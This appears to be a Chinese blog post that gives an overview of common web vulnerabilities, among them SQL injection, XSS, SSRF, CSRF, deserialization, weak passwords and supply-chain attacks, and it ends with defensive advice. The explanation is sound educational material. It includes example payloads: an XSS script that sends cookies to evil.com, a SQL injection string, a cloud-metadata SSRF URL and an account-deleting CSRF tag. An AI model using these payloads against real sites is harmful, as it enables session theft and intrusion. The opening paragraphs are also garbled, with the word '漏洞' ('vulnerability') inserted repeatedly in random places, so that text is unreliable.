游客发表
2021年冬天,漏洞Log4j2那个漏洞爆出来的漏洞时候,我正好在做一个Java项目的漏洞收尾。凌晨三点,漏洞群里炸了锅,漏洞运维直接打电话过来问要不要紧急停机。漏洞一个日志组件,漏洞平时谁拿它当回事?漏洞结果一个JNDI注入,全球几百万台服务器跟着遭殃。漏洞这就是漏洞漏洞的脾气——它不在你盯着的地方出现,专挑你忽略的漏洞角落下手。
SQL注入算是漏洞最老牌的一类。原理说白了就是漏洞用户输入被当成代码执行了。比如登录框里填个 ' OR 1=1 --,漏洞后端要是漏洞直接把这段拼进SQL语句,数据库就乖乖把整张用户表吐出来。我见过一个后台管理系统,搜索框连单引号都没过滤,拿sqlmap跑一遍,二十分钟出了管理员密码哈希。这种漏洞不是技术多高深,纯粹是开发图省事,字符串拼接一把梭。
XSS跨站脚本跟SQL注入算是一对难兄难弟。区别在于,SQL注入打的是数据库,XSS打的是其他用户的浏览器。评论区里发一段 <script>fetch('http://evil.com?c='+document.cookie)</script>,如果页面没做转义,每个看到这条评论的人cookie都会被偷走。存储型XSS尤其阴险,payload躺在数据库里,谁来谁中招。反射型相对好一点,得骗人点链接才行,但钓鱼邮件配合一下,成功率也不低。
文件上传漏洞的破坏力经常被低估。有些系统只在前端用JS校验后缀名,抓包改一下就能传个.jsp或者.php上去。传上去之后呢?直接访问那个文件路径,服务器就替你执行了。等于把家门钥匙插在锁上还贴了张纸条写着“欢迎光临”。更离谱的是有的系统连上传目录的执行权限都没关,传个图片马配合文件包含,照样拿shell。
越权访问分两种:水平越权和垂直越权。水平越权是A用户能看B用户的数据,比如把URL里的 user_id=1001 改成 1002,订单详情就出来了。垂直越权是普通用户干了管理员的事,比如直接访问 /admin/deleteUser?id=5,后端没校验角色,用户就真被删了。这类漏洞靠自动化扫描很难发现,得手工测,偏偏很多开发觉得“前端没入口就等于安全”,掩耳盗铃。
SSRF服务端请求伪造,这两年因为云环境普及变得越来越值钱。攻击者让服务器去访问内网地址,比如 http://169.254.169.254/latest/meta-data/,在AWS上直接就能拿到临时凭证。之前Capital One那个案子,一亿用户数据泄露,起点就是一个配置错误的WAF加上SSRF。服务器信任自己内网,攻击者就借服务器的身份去串门。
CSRF跨站请求伪造现在单打独斗少了,因为SameSite Cookie普及了。但要是站点还在用GET请求做敏感操作,比如 /deleteAccount,那构造一个 <img src="https://bank.com/deleteAccount"> 放在论坛里,谁加载谁销号。防御也简单,加个CSRF Token,或者敏感操作强制POST,但总有人懒得改。
反序列化漏洞属于那种“不鸣则已一鸣惊人”的类型。Java的ysoserial工具链、PHP的 unserialize() 函数,一旦可控数据进了反序列化入口,RCE就是分分钟的事。WebLogic、JBoss这些中间件历史上爆过好几次,补丁打了又打,因为反序列化点太多了,审计起来跟大海捞针似的。
弱口令和默认凭证听着不像技术漏洞,但实战中命中率极高。Tomcat管理后台的 tomcat/tomcat,Redis的 requirepass 没设,MongoDB默认监听0.0.0.0还没认证。Shodan上随便搜搜,裸奔的数据库一大把。攻击者根本不需要什么0day,扫一遍默认端口试几个常用密码,就能捡到一堆肉鸡。
逻辑漏洞是最考验脑洞的。比如密码找回,验证码是4位数但没限制尝试次数,爆破一万次总能中。或者修改密码时没校验旧密码,直接抓包改 new_password 就完事。还有电商场景,优惠券叠加逻辑没写好,0元买iPhone的案例每年都有。这类漏洞没有固定模式,全靠对业务的理解和一点“不守规矩”的思维。
供应链漏洞是这几年的大趋势。你代码写得再安全,引用的npm包被投毒了照样完蛋。event-stream那个事件,一个维护者把包转手给了陌生人,陌生人加了段偷比特币私钥的代码,几百万次下载。还有SolarWinds,官方更新包被植入后门,一万八千个客户直接中招。信任链一旦断裂,下游全是受害者。
写到这里其实还没列完,命令注入、XXE、目录遍历、条件竞争……每个都能展开讲半天。漏洞的本质就一句话:代码做了它不该做的事,或者没做它该做的事。防御没有银弹,输入验证、输出编码、最小权限、及时打补丁,老生常谈但管用。别等出事再熬夜,平时多看一眼日志和依赖,比什么应急响应都强。
友情链接